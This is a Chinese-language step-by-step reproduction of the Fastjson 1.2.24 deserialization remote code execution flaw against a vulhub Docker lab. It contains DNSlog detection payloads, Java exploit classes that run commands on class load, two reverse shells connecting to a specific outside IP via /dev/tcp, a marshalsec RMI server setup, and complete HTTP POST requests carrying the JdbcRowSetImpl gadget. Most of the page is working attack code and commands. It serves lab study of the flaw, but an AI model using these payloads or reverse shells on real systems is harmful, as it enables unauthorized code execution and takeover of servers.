fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。详细的原理分析:https://www.freebuf.com/vuls/208339.html
Fastjson1.2.24以及之前的所有版本
1、使用vulhub一键搭建环境
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d
2、环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。
检测工具:链接:https://pan.baidu.com/s/15dqn6ucfa6zoeFIir-SUJQ 提取码:ah71
手动检测方法:
{"a":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"a":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"a":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
{"a":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}}
{"a":{"@type":"java.net.URL","val":"dnslog"}}
此时抓包修改content-type为json格式,并post payload,即可执行rce
1、编译exp
首先编译并上传命令执行代码,如http://8.210.235.249/exp.class:
exp代码:
import java.lang.Runtime;
import java.lang.Process;
public class exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac exp.java //编译为exp.class
mkdir exp #在根目录创建exp目录,将编译后的exp.class放入exp目录中
将exp.class上传至你的web服务器,地址为http://yours_ip/exp.class。例如我的地址为: href="http://8.210.235.249/exp/exp.class">http://8.210.235.249/exp/exp.class
2、启动RMI
借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类exp.class:
在自己的vps里开启rmi或者ldap服务
推荐使用marshalsec快速开启rmi或ldap服务
git clone https://github.com/mbechler/marshalsec #下载marshalsec
mvn clean package -DskipTests #使用maven编译jar包
python -m SimpleHTTPServer 80 #启动服务 在exp目录中执行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://8.210.235.249/#exp" 9988
#需要到/marshalsec/target 执行命令
3、发送Payload
服务器发送Payload,带上RMI的地址
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://8.210.235.249:9988/exp",
"autoCommit":true
}
}
可以看到已经有连接
去靶机主机看一下
docker ps #列出所有容器
docker exec -it 容器id /bin/bash
到此漏洞已经复现成功
只需要将执行的命令修改即可
文件1
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/8.210.235.249/5656 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
文件2
import java.lang.Runtime;
import java.lang.Process;
public class exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/8.210.235.249/8888 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
将代码放入编辑器中保存为exp.java文件
放入刚刚创建的exp目录中进行编译
javac exp.java
#编译java文件生成exp.class,生成后删除exp.java文件
2、在exp目录中执行启动服务
python -m SimpleHTTPServer 80
3、进入/marshalsec/target目录执行监听命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://8.210.235.249/#exp" 9988
4、启动nc监听刚刚exp.class文件中的端口
5、burpsuite发送
exp
POST / HTTP/1.1
Host: ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 157
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://8.210.235.249:9988/exp",
"autoCommit":true
}
}
手机扫一扫
移动阅读更方便
你可能感兴趣的文章